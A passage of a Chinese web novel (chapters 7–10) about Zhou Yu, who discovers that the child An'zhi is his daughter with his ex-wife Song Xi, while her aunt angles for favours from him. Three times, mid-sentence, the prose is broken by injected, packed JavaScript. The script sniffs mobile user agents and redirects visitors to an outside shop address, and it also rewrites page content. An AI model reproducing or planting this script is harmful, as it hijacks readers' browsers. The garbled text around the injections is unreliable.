“哇,你们都是忘年交,好厉害哦!”宋安之由衷佩服。 “一般一般。”宋永红憋不住了,笑得肩膀耸动。 “我和叔叔也是忘年交!” “那是那是。” “你们都认识叔叔,肯定有他微信吧?” “这个真没有……” “啊?”宋安之皱起眉头,满脸担忧,“叔叔要走了,我以后是不是都见不到他了?” “可能吧。”宋永红见孩子眼里泪光盈盈,赶紧哄,“不过也不一定啊,他要是再来黔安,你们应该还会遇到。”她其实挺希望孩子和周屿再相遇。最好还有宋禧。 · 按照原定计划,周屿中午十二点要乘高铁去黔州省会黔阳,下午三点半从黔阳飞回深城。 但他留在了黔安,哪也没去。 车就停在麻将馆楼下的路边,他和程扬站在车旁默默抽烟。 先前周屿跟宋永红那番对话,程扬在车里听见了。周屿听得出蹊跷,程扬自然也是。所以后来周屿一直不作声,程扬也跟着沉默。 直到高铁发车前五分钟,程扬才明知故问:“今天不回去了吗?” 周屿没应,依然盯着路面,抽完手里这支烟,抬头看向他:“走吧。” 程扬替他拉开车门:“您想去哪儿?” “宋禧二姨家。”周屿做进后座,“记得那地儿吗?” 程扬以前跟着他和宋禧去过一次,对具体地址已经没有印象了。 “您记得吗?”程扬问。 周屿打开导航,输入目的地。他记得宋禧二姨家小区名。 车开上路,程扬不经意似的提一嘴:“孩子也不一定在那儿。” “不在她家,那就一家一家找。”周屿沉着脸,目光冰冷,声音也是。 7. 第 7 章 要不是连视频时女儿祝自己生日快乐,宋禧都忘了,今天的自己,已经年满二十七。 生日这天,宋禧正忙着搬家。之前住的房子离上班地点太远,漫长的通勤时间严重耗损了她的精力值,每天上午本该元气满满地开始工作,走出地铁站,还没进到家具城,她就感觉已经精疲力竭,晚上下班回家那一趟,只能用苟延残喘来形容。 这次搬家不过是从一套老破小换成另一套老破小,但由于另一套老破小能将她的通勤时常缩短至五十分钟,每个月房租她需要多付两千块。幸好这附近有家幼儿园,价格相对来说比较亲民,环境不错,她上网查过,口碑也还行。 东西打包收拾好,宋禧正准备联系货拉拉,表姐苏珍珍微信弹来视频连接,接通后,出镜的却是宋安之。 “安之宝贝,今天跟珍珍小姨一起玩呀?”宋禧看见女儿,笑容不自觉浮现。 “嗯!珍珍小姨给我买奶茶了,超好喝!”宋安之举起奶茶杯晃了晃。 苏珍珍探过脑袋,说:“买的是那种水牛奶,没额外加糖,常温不加冰,也没有茶,这下放心了吧?” 宋禧点头:“谢谢啊珍珍,你们在哪呢?” 宋安之抢着答:“二姨婆家楼下这个运动公园!” 宋禧知道那里,很小一片区域,安装了几个运动设施,一块不锈钢板上洋洋洒洒四个大字——“运动公园”,实在名不副实。这里的运动设施不仅要经历长年累月的风吹雨打,还得承受熊孩子的肆意摧残,有些早已根基不稳,晃晃悠悠,动一下,嘎吱一声,每次带孩子来这,宋禧总会跟她强调,绝对不许上去玩,要是摔着磕着碰着,可不是开玩笑的。 宋禧照例又跟苏珍珍嘱咐一遍,别让安之碰那些迟早要出事的设施,苏珍珍微仰起头,翻白眼:“晓得咯晓得咯,跟个老妈子一样,回回都要讲。” 苏珍珍比宋禧大两个月,心态倒是比她年轻许多,最烦唠叨不停的人,所以这个家里,苏珍珍最受不了自己母亲宋永红,其次就是宋禧母亲宋永秀。面对这两个嘴里像是装了永动机的女人,苏珍珍恨不得间歇性耳聋。 自从有了安之,苏珍珍发现,只要关于安之的事,宋禧总能不厌其烦地絮叨,一遍一遍强调,生怕别人听不懂。 苏珍珍把宋禧和一切有孩子的女性当做前车之鉴,决定不婚不育,退一万步讲,就算哪天被所谓的爱情冲昏头脑,一不小心结了婚,也要坚决将丁克进行到底。 她承认安之很可爱,自己很喜欢安之,可她更清楚宋禧没孩子前是什么状态,她太怕变成宋禧这样了——满心满眼只有孩子;一切以孩子为中心;日子的奔头是孩子;情绪被孩子牵动;孩子孩子孩子…… 这种生活哪怕只是想想,都会让苏珍珍浑身起鸡皮疙瘩。如此崇尚自由的她,真要沦落成这样,她宁愿去死。 也正是因为这样,她对宋禧佩服得五体投地。 “妈妈,你知道今天是什么日子吗?”宋安之奶声奶气问。 “什么日子呀?”宋禧跟女儿讲话时,声音不自觉嗲起来,学起小孩的腔调。 “你好好想想嘛!”宋安之神秘兮兮。 宋禧想了想,摇头:“真想不到,安之跟我说说呗。” “今天是你的生日!”宋安之似乎比自己过生日还开心,“祝你生日快乐!”说完,立马用手打拍子唱起生日歌,“祝你生日快乐!祝你生日快乐……” 宋禧这才意识到,原来今天七月七。 她其实没那么喜欢过生日,因为她的母亲疼了很久,顺转剖才终于把她带到这个世界,而她的母亲最喜欢的,就是拿这个说事:每当母女俩意见有分歧,母亲就会骂她不孝,哭着说当初就不该冒着生命危险把她生下来;每当她指出母亲哪里做得不对,母亲总爱一把鼻涕一把泪,说自己辛辛苦苦生了个畜生,不懂得感恩;每当母亲把自己的焦虑和恐惧投射在她身上,压得她喘不过气,只要她表现出那么一点不耐烦和委屈,“不孝”和“畜生”的标签就会轻车熟路地找上她……她艰难的出生过程,是母亲因她而受磨难的证据,也是母亲可以随意打压她、曲解她、污蔑她、情绪上勒索她、精神上霸凌她的通行证。 她的母亲让她有这么一种感觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17443987|201067||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“母亲”这个词,就是某些女人的免死金牌。因为我生了你,所以你什么都得听我的;因为我生了你,所以你对我有任何意见都是忤逆;因为我生了你,所以你出生后我遭受的所有艰难困苦,都是因你而起;因为我生了你,所以我怎么对你,都是对的…… 后来她发现,母亲爱她的同时,也在深深恨着她。 在她还非常年轻,看不透人性的时候,她被这种矛盾的母爱塑造成了宋家最乖最听话最懂感恩的孩子。 但那个孩子不是真正的她,真正的她像一颗被埋在地下深处的种子,地上的人看不见,不代表这颗种子会消失。事实上,这颗种子一直在经年累月的压抑下偷偷生长,最终破土而出。 当人们看见这颗种子破土时,大家惊讶,困惑,百思不得其解——宋家最乖最听话最懂感恩的宋禧,怎么会跟一个刚认识不久的外地男人扯证闪婚? 再后来,这颗种子长成树,大家依然难以置信——宋家最乖最听话最懂感恩的宋禧,再也回不来了,因为她在离婚后,非要瞒着前夫生下他的孩子,并且要求宋家所有人一起替她保密,她已经学会了她母亲那吃遍天的一招鲜,学会了pua的精髓,学会了用魔法打败魔法:你们要是不替我保密,就是不爱我。 尽管宋禧不那么喜欢过生日,但她曾经非常喜欢七月七这个日子。 “哇,安之唱得真好听,谢谢你的生日歌,妈妈爱你!”宋禧满心欢喜,隔着屏幕亲了孩子一口。 没有人知道,宋禧执意生下这个孩子的原因之一是:她想做个跟她的母亲不一样的母亲。她想给孩子最纯粹的爱——爱就是爱,只有爱,不以“为你好”为借口要挟逼迫孩子,不以“生你很难”为理由伤害欺负孩子。 她要给出一份清晰而坚定,毫不混沌的爱。 她知道自己有些地方做得不够好,知道自己其实并没有成为多么优秀的母亲,也知道自己已经尽力了。 她接纳了这样不够完美的自己,也不再痛恨她的母亲,因为她知道,以宋永秀女士的认知和心智水平,能做到这样,已经是尽最大的努力了。 8. 第 8 章 周屿来到这个名不副实的运动公园时,宋安之正对着手机唱生日歌,唱完跟那头的人聊起来,她管那头的人叫“妈妈”。 程扬扭头看周屿,试图从他的神情中揣摩他现在什么心情,却只看到一张面无表情的脸。 程扬记得,宋禧生日是七月七。 他们找到宋禧二姨家门口,敲了半天门也没人来开,于是下楼,从楼道出来就能看见运动公园,程扬正要原路返回,周屿眼尖,瞥见宋安之背影,叫住程扬,程扬望向那边,跟着他走近孩子一些,又不算很近。他们站的位置能看见孩子和苏珍珍,而她俩需要转头才看得见这两个男人。 孩子唱生日歌那会儿,程扬就明白了。他知道周屿一定也明白,所以他好奇周屿等会儿会说什么。 但周屿许久都没开口,紧抿薄唇,目光停在宋安之身上。 安之,安之,这名字取得妙啊,程扬心想。 最后还是程扬轻声开口:“咱们过去么?” 周屿和程扬都见过苏珍珍,对她来说,他俩不是陌生人,过去打个招呼,聊几句,不算唐突。 “走吧,”周屿摇头,“回酒店。” 就这样?宋禧生了个样貌得跟他极为相像的孩子,而他现在竟然冷静得出奇,程扬搞不懂。 不过周屿一直都挺怪,搞不懂也正常,程扬安静开车,没再问什么。 回到酒店,周屿打电话给公司,临时改变某些工作计划。他决定在黔安多留一阵子。 这天晚上,周屿所住的总套卧室里,烟头在烟灰缸里堆成小山,他彻夜未眠,一闭眼,脑海里就浮现孩子那张脸。 清早,他走进浴室,冲镜子咧嘴笑了笑,唇边两个梨涡显现,假笑保持了一小会儿,他恢复冷脸,盯着镜子里的自己,好半天,发出一声压着火气的哼笑。 麻将馆依然没开门,看来宋禧母亲食物中毒比较严重。周屿在楼下羊肉粉店吃早餐,依然是大碗加肉。老板娘明里暗里打探他跟宋安之的关系,他装聋作哑,吃完冲老板娘竖起大拇指,夸一句味道真不错。 宋禧二姨父苏庆祥拉完上一位乘客,车停在羊肉粉店外,等待新的乘客。他降下车窗,跟正要进门的粉店老板打招呼:“老金,最近生意好哦!” 老板回头看是他,走到车前:“只能说还可以,熟人捧场噻。进来搞碗粉不?” “吃过了,今天吃得早,下回来搞碗羊杂粉,我就喜欢吃你家——”羊杂两个字还没说出口,苏庆祥脸上笑容僵住,话也顿住,紧盯着刚从店里走出来的年轻男人。 年轻男人没注意他,正低头看手机,转身向右边方向去。 老金顺着他目光望向那人背影,笑了:“羡慕人家小年轻个子高长得帅?” 苏庆祥敷衍地扯一下唇,直到年轻男人背影消失在街角,他才扭过头,问:“黔安难得有这么帅的小伙,是吧?”他知道自己没认错,绝对没有。 老金点头:“是咯,我们这边男娃儿,个子这么高的少,而且一般来说,高的不帅,帅的不高,又高又帅的更是少。这小伙子前两天就来过我家店吃粉,我媳妇专门调出监控给我们看,夸得哟,捧上天了!不过确实帅,比有些男明星还帅。她还想把屋头侄女介绍给人家,我说人家这个口音,一听就是京州的,长成这样就算了,还是京州人,哪里会缺对象!” 苏庆祥心里想着事,继续敷衍:“是咯嘛。” 晚上九点,苏庆祥收工回家,宋永红问怎么回来这么早,他把妻子拉进房间,关上门,还特意反锁。 “搞哪样鬼名堂哦?”宋永红往床上一坐,斜着眼打量他。 尽管已经关了门,苏庆祥依然压低声音,小声开口:“你猜我今天早上看到哪个了?” “哪个?” “周屿!” 宋永红一愣,问:“早早收工回来,就为了说这事啊?”她没告诉丈夫,昨天自己就碰见过这人。 “打电话讲不清楚。”苏庆祥在她身旁坐下,神情严肃认真,“我想了一天,觉得这个事情非常可行。” “什么事情?” “你还有小周联系方式没有?” 宋永红掏出手机,翻起通讯录,手指在屏幕上划了好几下才到最底。“之前存了一个,不过人家早就不在这住了,应该不用这个号了。”她看向丈夫,“你联系小周做什么?” “请他帮忙嘛。” “帮忙?帮哪样忙?我看你是脑筋有问题!人家和宋禧离婚好几年,还有闲心帮前妻家亲戚忙?” “肯定是要做些交易啊。”苏庆祥说得理所当然。 宋永红听得发笑,戳了戳他太阳穴:“你拿什么和人家做交易?每个月赚个三五千的老头子!” 苏庆祥按住妻子的手,语气依然认真:“没和你开玩笑,我讲真的。你看啊,要是屋头那两个废物能出去找个班上,我们不晓得省好多心。你联系小周,约他吃顿饭,问问他能不能让珍珍和晓辉去他公司上班。” 宋永红瞠目结舌,“啧”一声,轻轻一巴掌拍他脸上:“我看你是在发梦。人家凭什么给我们开后门?” “凭他是安之爸爸!珍珍是安之姨妈,晓辉是安之舅舅,他作为安之亲爹,帮帮我们这些穷亲戚,也没什么大不了吧。” “人家都不晓得安之跟他有关系!” “以前不晓得,以后一直不晓得?”苏庆祥顿了顿,眼神若有深意,“想办法让他晓得不就行了?” 宋永红低头,陷入沉思。 半晌,她抬眼看着丈夫:“其实昨天我就见过小周。” 她把安之和周屿意外成了忘年交这事讲出来,又描述一番昨天跟周屿碰面时的场景,叹了口气,沉默片刻继续说:“他跟安之讲的是昨天就要回深城,你今天看到他,说明他还在黔安。没走的话……会不会已经怀疑安之跟他有关系,想留下来查清楚?” 苏庆祥拍拍大腿:“那就正好!我跟你讲,不管他有没有怀疑,你把你该讲的话讲清楚,不该讲的,就讲得不清不楚,晓得不?” 宋永红半懂不懂,低声跟他确认:“你意思是,暗示他,安之是他姑娘?” “是咯,晓得咋个暗示吧?这个总不用我教吧?” “我又不蠢!唉——”宋永红又把头低下,连声叹息,摇摇头,“我总觉得,这样有点对不起宋禧。这件事帮她捂了这么久,现在跑去跟小周讲,她还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17443988|201067||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不恨死我这个二姨!” “都跟你讲了暗示,暗示!把话讲得不清不楚,让小周自己去猜,真要猜出来,只能怪他太聪明,怪不到你头上。就算宋禧恨你,也只会恨一时,日子长了,尝到富裕生活的甜头了,还不得感谢你?”苏庆祥摆了摆手,面上不屑,“你和你妹啊,都是外强中干,没有一点魄力和远见!要我是宋禧爹妈,娃儿生出来,马上去找小周。小周这个人,别的不说,责任心还是很强的,管他姑娘儿子,娃儿只要是他的,他肯定会认。他认了,宋禧和安之哪里还需要吃那么多苦!” 宋永红拿眼瞥他:“宋禧爸爸从小到大不管她,她又烦她妈,这些大事情,哪个替她做主嘛?” 苏庆祥:“就是咯,所以我说宋禧命苦,爹不负责妈带不好,遇到小周,好日子没过几天,又吵得凶。他两个那些是非恩怨,我们不清楚真相,但安之出生了,大人之间的问题应该放一边,最主要的任务,是让娃儿过上好生活,你说是不是?” 宋永红叹着气点头。 苏庆祥接着说:“现在机会摆在眼前,小周那么仗义一个人,晓得娃儿是他的,找不找宋禧复婚不好说,但肯定会给宋禧经济补偿,我们请他帮点忙,他看在娃儿面子上,也肯定会帮。” 宋永红撇撇嘴:“你觉得小周仗义,那只是你觉得,万一他根本就不仗义呢?万一他以前仗义,现在又不仗义了呢?” 苏庆祥耐性耗尽,梗着脖子提高嗓门:“哎哟我说,你现在咋个越来越不撇脱(干脆)!你管他咋个反应,先让他晓得这个事情,其他以后再说。搞快点,趁现在不晚,小周应该没睡觉,赶紧联系他。” 宋永红内心挣扎一番,这通电话到底还是打过去了。 令她意外的是,那头竟然有人接。 “宋阿姨,您好。” 周屿的声音响起时,宋永红和丈夫欣喜对视,慌忙应道:“小周,不好意思啊,这么晚了,没打扰你休息吧?” 周屿:“没有,您不用客气。有什么事儿吗?” “没想到你现在还在用这个号,还存得有我号码……”宋永红正感慨,被丈夫轻轻推一下,丈夫在耳边用气声提醒她说正事,她干咳一声,故意问,“你已经回深城了吧?” 周屿:“暂时还没,这边有些事儿没处理完。” 宋永红:“这样啊,那明天能不能抽个空,我们一起吃顿饭?阿姨请你。” 周屿:“行,应该我请您才是。” 事情顺到不可思议,宋永红暗暗舒了口气:“不管咋个说,以前都是一家人,你好不容易回来一趟,我作为长辈,都该好好招待你。” 周屿没跟她争,声音带着浅淡笑意:“行,谢谢您了。” 宋永红:“那我定好时间地点给你发短信,到时候再沟通?” 周屿:“没问题。” “好的好的,那就这样了,不打扰你休息了。”宋永红正要挂断,那头叫她一声。 “阿姨。” “嗯?” “安之去么?” 宋永红看向丈夫,见丈夫点了点头,又想想丈夫劝她的那些话,心一横,笑道:“去,当然要去,她那么喜欢你。” 9. 第 9 章 这晚周屿睡得还不错。他以为自己会继续失眠,但躺在床上没多久,他就进入梦乡。 梦境也简单——跟宋禧带着安之一块儿过日子。 梦里他们没离婚,没吵架,和睦成这样,现实中他想都不敢想,以至于醒来回味这个梦时,难免有些唏嘘。 上午九点,宋永红发来中午吃饭的时间地点,问他方不方便,他回复说方便,还说又给安之买了礼物,让她一定要收。宋永红客气几句,勉为其难似的答应了。 中午在饭店包间见着面,宋永红才知道周屿买了些什么——三套童装,两箱牛奶,一个跟孩子差不多大的粉色毛绒兔公仔,还有一部新手机。 “我给安之办了张卡,通讯录里存了我两个手机号,还开给她开了微信号,和我的号加了好友,方便以后联系。”周屿看着宋永红,淡淡笑了笑。 程扬拎起上回宋永红不肯收的大袋子,冲孩子笑道:“安之,这些还想不想要?” “我——”宋安之看向二姨婆,双手合适,皱着眉恳求,“可以吗?” 看到周屿买的新手机,宋永红就明白了。他要是不知道孩子该管他叫爹,怎么会做到这个份上? 宋永红对孩子点了点头:“快谢谢叔叔。” “那些也可以收吗?”看着桌上摆着的所有礼物,宋安之眼睛都直了。 按道理说,收不收这些贵重礼物,应该先问问宋禧,可宋永红不想这么快让宋禧知道自己掺和起他俩的事,浅浅叹息一声,催孩子:“谢谢叔叔呀!” 宋安之开心得直蹦跶:“耶!谢谢叔叔!太感谢你啦!你送的礼物我都好喜欢!” “去抱抱叔叔吧。”宋永红轻拍孩子肩膀。这种时候,就该趁热打铁,让他感受一番父女温情。 宋安之张开双臂飞奔过去,被周屿抱起,放在腿上坐着。 “等会儿叔叔喂你吃饭好不好?”周屿笑着问。 听他说话这声音,程扬不禁起鸡皮疙瘩——还是头一回听到这种嗓音从他喉咙里出来,委实肉麻。 宋永红噗嗤笑了:“这么大了,还用喂啊?安之乖得很,两岁就自己吃饭,筷子用得好老练!” 她提起岁数,周屿顺势问:“安之生日是哪天来着?” “一月二十五号,我记得清清楚楚,那天好冷哦,黔安都下雪了。”宋永红清了清嗓子,提醒似的,补充一句,“二零二零年。”几乎已经是明示了,周屿要是算不明白日子,真该去医院看看脑子。 她目不转睛盯着周屿,等待他的反应。 周屿轻扯唇角,颔首,什么也没说。 这顿饭周屿还真一口一口喂宋安之吃,宋安之也配合,筷子凑过来,她就张开小嘴巴,食物吃进去,她细细嚼完,冲周屿甜甜笑一下。程扬看得瞠目结舌,宋永红则满脸慈祥笑意。 “小程有女朋友没有?”宋永红问。 程扬摇头:“阿姨,我一直单着。” “这么多年,一直单身啊?”宋永红瞪大眼睛,上下打量他几个来回。他这小伙子吧,虽然不如周屿那么英俊,但也五官俊秀相貌堂堂,个头跟周屿差不多。宋永红想不通,这种男人应该没有空窗期才是。怕是身体有问题哦,宋永红暗想。 周屿替程扬答道:“宁缺毋滥呢。” “也是,小程一看就是好男人,负责任,不会随便找。”说是这么说,宋永红心里的怀疑一点没少,目光移到周屿脸上,试探起来,“小周这几年——” “我也单着。”周屿知道她想问什么。 “怕不会哦!”宋永红嘴上不信,却是肉眼可见的开心,“你还找不到女朋友啊?” 这回换做程扬替他回答:“这几年实在太忙。” 宋永红瞧着他俩脸上神情,感觉不像假话,更是高兴:“确实应该趁年轻好好工作好好赚钱,其他事情以后再说。” 周屿现在事业有成身家过亿,宋永红巴不得他能跟宋禧复婚。当年她妹妹一个人带着女儿苦哈哈过日子,她可不想外甥女再走这种老路。 “阿姨,下午我想带安之出去玩儿,”周屿用筷子把红烧肉的肥肉弄掉,夹起瘦肉喂给安之,“吃完晚饭就送她回来,您看成么?” 宋永红暗自揣摩,估计不止带孩子玩一玩这么简单。她看向孩子,笑眯眯问:“安之愿意吗?” 孩子大声喊道:“愿——意!” 周屿被逗乐,筷子仍停在她嘴边:“安之怎么不吃?” “太瘦了……我喜欢吃有肥肉的红烧肉。”宋安之凑近周屿耳朵,“我还小,不像妈妈是个大人,不用减肥!” 周屿噗嗤笑出声。 “行,咱们吃点儿连肥带瘦的。”他重新夹一块红烧肉。 “安之从小就爱吃五花肉,还要带皮的那种,炖啊炒啊,煎炸烧烤之类的,她喜欢得很!”宋永红冲孩子微微皱眉,摇头,“乖乖,下来坐好,自己吃嘛,叔叔抱你抱久了也累,而且叔叔一直喂你,都没时间吃饭。” “嗯!”宋安之想从周屿身上下来,却被周屿拦住。 “没事儿,安之很轻,抱着不累,叔叔现在也不饿。”周屿给她喂一根炒青菜,见她皱起小眉头,笑着问,“不喜欢吃蔬菜?” “不喜欢……” 宋永红劝道:“要吃蔬菜,多少吃一点嘛。你妈妈特意交代我们,要让你饮食均衡,不能挑食。” 宋安之看看她,又看看周屿,发现周屿脸上神色并不强硬,立马跟他撒娇:“可是我真的不喜欢吃蔬菜,蔬菜没味道,不好吃。” 周屿乐了,换另一双筷子,夹起青菜自己吃。“有味道啊,味道很不错,”他又换回刚才那双筷子,夹菜喂过去,“安之尝尝看。” 宋安之疯狂甩头:“不要不要,看样子都好难吃!” 周屿无奈扯唇,松开筷子,青菜掉进碗里。他舀了勺水蒸蛋,问:“这个喜欢么?” 宋安之变脸极快,上一秒哭唧唧,这一秒笑嘻嘻。“喜欢!”吃掉这口水蒸蛋,她告诉周屿,“叔叔,你知道吗,我妈妈做这个可好吃了,鸡蛋蒸得很嫩很嫩,像布丁一样。” “这样啊。”周屿想起以前宋禧蒸蛋蒸得又老又干,气孔也多。看来她这些年厨艺有长进。 “我妈妈长得好漂亮!” “真的啊?” “真的!她还会化妆,都是在小红书上学的,化完妆超级好看!” “那她学习能力挺强。”周屿记得,早些年宋禧尝试化妆,七扭八歪的眼线和苍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17443989|201067||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蝇腿似的睫毛令他印象深刻。他忽然好奇,“你妈妈用轻闪吗?” “妈妈手机里没有轻闪。”宋安之叹气,“她喜欢刷小红书,还喜欢在快手看吃播。” “看吃播?” “对,妈妈要减肥,吃得少,有时候又很饿,她说看那些吃播吃东西,假装是自己在吃,就没那么饿。” 还能这样啊。周屿轻笑,真是长见识了。 坐在对面的宋永红好长一声叹息,说:“现在这些年轻人,不晓得咋回事,明明不胖,还要天天减肥,我都怕她妈妈把身体减坏!” “向晴姐还有身材焦虑啊?”周屿抬起眼皮看过去。 宋永红怔了怔,想起自己昨天扯的那个谎,笑容僵硬,往耳后捋头发。“晴晴倒是不焦虑这个,珍珍和禧禧喜欢减肥。不过我家珍珍主要是喊得凶,嘴巴一天到晚没停过。宋禧比她厉害多了,说瘦就瘦,不过禧禧工作忙,累得很,想瘦也快。” 她知道周屿早就发现这孩子不可能是向晴女儿,也知道周屿给她留台阶,故意不戳破。沉默片刻,她若有深意看着周屿:“这两年禧禧在京州吃了好多苦头,我们都晓得她不容易。” “我妈妈上班真的很辛苦!”宋安之附和。 乖乖,这可是你自己招的,怪不到二姨婆,宋永红心里想。她看到周屿眨了眨眼,目光落在茶杯上,盯着杯子沉默不语。 吃完饭,宋永红问孩子:“安之,想不想喝津威?” 宋安之摸摸肚子:“有点饱了,但是还想喝一瓶津威,嘿嘿。” 宋永红拜托程扬:“小程,能不能麻烦你带娃儿出去买啊?我转钱给你。” 程扬起身摆手:“别,别,阿姨,我请孩子喝。”他知道,这是希望他把孩子支走。 宋安之跟着程扬走出包间,门关上,宋永红看向周屿,脸上挤出笑。 “小周,以前的事都过去了,你和宋禧也都有了新生活,按道理说,我们这些亲戚没资格多嘴,不过作为长辈,有些话还是想跟你好好讲一下。” 周屿回之以淡笑:“您说。” 宋永红:“当年你两个吵那么凶,很多事情真真假假,我们分辨不清,不过我和宋禧二姨父,我们都觉得,你应该不是那种人。” 周屿:“您和叔叔相信那些事情都是误会么?” “我们倾向于是误会,所以——”宋永红今天第一次收起脸上的笑,认认真真看着他,“希望你不要辜负我们的信任。” 周屿什么也没解释。该解释的,五年前他就解释过。别人信就信,不信拉倒,那些话翻来覆去说过太多次,多说一次他都快吐了。 “安之其实是宋禧女儿,对么?”周屿懒得继续弯弯绕绕。 宋永红没想到他这么直接,愣了片刻,轻轻点头。 “也是我的女儿,对么?”周屿又问。 宋永红笑起来:“是不是,你心里头应该有数吧?” “阿姨,您就甭跟我打太极了。我打算带孩子做个亲子鉴定。”周屿微微侧头,眨了眨眼。 宋永红不大高兴:“咋个,不相信娃儿是你的?” “那倒不是。”周屿唇角扯出冷笑,“宋禧绝对不会承认孩子是我的,我太了解她了。” 10. 第 10 章 周屿这话,宋永红还真是没法反驳。 当初她苦口婆心劝宋禧带着孩子去找周屿谈谈,宋禧一句“我才不找,死都不找”,把她后面还想说的话给堵了回去。那会儿安之还小,半岁不到,躺在床上睁着大眼睛四处望,好像什么都不懂,又好像什么都清楚,只是说不出。小小的安之听到她说“娃儿爸爸”,忽然就笑了,咯咯咯的,嘴咧得弯弯,眉眼也弯弯。她低头看一眼,叹气,心里想:娃儿好像她爸爸哦。 “小周,宋禧还恨你。”宋永红来前没打算说这些话,拿不准该不该说,却又没管住嘴,“不过我觉得,她要是心里一点都没有你,完全不在乎你,就不会那么恨你。” 周屿反应淡漠,没有继续这个话题:“等会儿程扬送您回去。” “不麻烦他了,附近就有公交车站,坐23路回去,几个站就到,近得很。”宋永红搓了搓裤缝,低下头,早已准备好的台词关键时候又有些说不出口。 “有什么话您直说就成,甭拿我当外人。”周屿看出她欲言又止。 “小周,我们这个大家庭的情况,以前你就了解。老一辈就不说了,年轻一辈,向晴最有出息,大学和研究生都是在你们京州读的,京大高材生,出国读博,留在国外了。宋禧虽然学习上比不过向晴,但人家也是很努力在外面打拼,背井离乡,在京州靠自己越过越好。”宋永红停下来,沉默一会儿,笑得无奈,“只有我家那两个,快三十的人了,还在家当无业游民,每天蜷在房间不出来,守着电脑过日子。” 宋永红的一对儿女,周屿以前见过。她儿子苏晓辉确实不好评说,但印象中,苏珍珍似乎并不像她口中这么无能。 “我记得珍珍大学期间就开始写网文,宋禧提过,收益还不错。”周屿说。 宋永红鼻腔里发出嗤笑,满脸鄙夷:“一天到晚关在屋头写写写,这么多年也没写出名堂来。这个月赚三千,下个月赚五千,下下个月赚几百……没得社保,没得医保,公积金更是没得,稿费比过山车还刺激,根本不稳定!喊她考教师,考公务员,跟逼良为娼一样,死都不考,纯粹是脑壳进水!” 宋永红越说越气,咬牙切齿,攥紧双拳。 “儿孙自有儿孙福,您别太为他们操心。”周屿已经猜到接下来她要说什么。这顿饭虽然已经结束,重头戏还没开始。他不提,也不催,等着宋永红先开这个口。 “说得轻松,做得难,为人父母,谁又真能说不操心就不操心?”宋永红叹气,目不转睛看着他,“小周,将心比心,以后安之要是不听话,连个像样的工作都没得,你急不急?” 周屿点头:“换我我也急。” “就是咯!我和你叔叔这两年,愁得头发都白完了。”她低头指指脑袋,“前两天才染的,两个月就要染一次,不然看起来像是七八十岁。”卖完惨,终于切入正题,“小周,你不能……能不能看在安之的份上,帮帮安之姨妈和舅舅?” 周屿一副半懂不懂的样子:“您意思是——” “我就是想打听打听,你公司还缺不缺人?”宋永红搓着手,笑得很不好意思。 周屿这才点明:“您想让珍珍和晓辉过去上班?” “能去当然最好了。珍珍文笔好,干文职有优势。晓辉没什么特长,不过年轻力壮,当个保安也行,要是兄妹都在你公司,平时也有个照应嘛。”宋永红脸上堆笑,“你公司开得这么大,总有岗位缺人吧?小周,你看看能不能帮个忙,把他们兄妹安排进去?” 周屿没有立即表态,沉默一小会儿,抬头看向她:“阿姨,我们公司能走到今天,很重要的一点就是,严禁管理层任人唯亲。作为董事长,我更不能做这个破坏规矩的人。” 宋永红来时已经做过心理建设,被他直白拒绝的这一刻,心里依然很难受。 “那你有没有认识的老板朋友,能不能帮忙问问他们——” “说实话,生意场上我朋友不少,可是阿姨,这事儿真的没法帮。”周屿毫不犹豫打断宋永红的话,直视她失落而不甘的目光,停顿几秒后,恰到好处地抛出橄榄枝,“珍珍和晓辉就没想过自己做点小生意?” 宋永红愣住,很快就听懂了这个提醒,不太敢相信,摇摇头,笑容却挂在嘴角:“他们哪有这个本事!” “做生意没那么难,边干边学积累经验,步入正轨就顺了。” “不瞒你说,小周,我们家什么条件你也知道,做生意要本钱,我和你叔叔大半辈子没存下多少钱,哪里来本钱支持他们?”宋永红看似无奈,其实心里已经清楚,眼下说什么,无非都是走个过场。 “这倒不用担心。您回去跟他们商量一下,决定好要做什么就告诉我,本钱我来出。”周屿笑了笑,知道她等的就是这句话。 宋永红连忙摆手:“不行不行,咋个能用你的钱!要不得,小周,真的要不得。” “嗐,我跟宋禧闹得再难看,孩子总归是我俩的,说起来,我跟您也还算一家人,您说是么?” 他把梯子递得明明白白,宋永红哪有不往上爬的道理,赶忙点头应道:“那还用说!你和宋禧就算离了婚,这么多年,我心里还是拿你当自己人。” 周屿笑了笑:“既然是自己人,就甭跟我客气。” “那——”宋永红深吸一口气,长长呼出,“啧”一声,好为难的样子,半晌才点头,“那真是太谢谢你了,小周。” 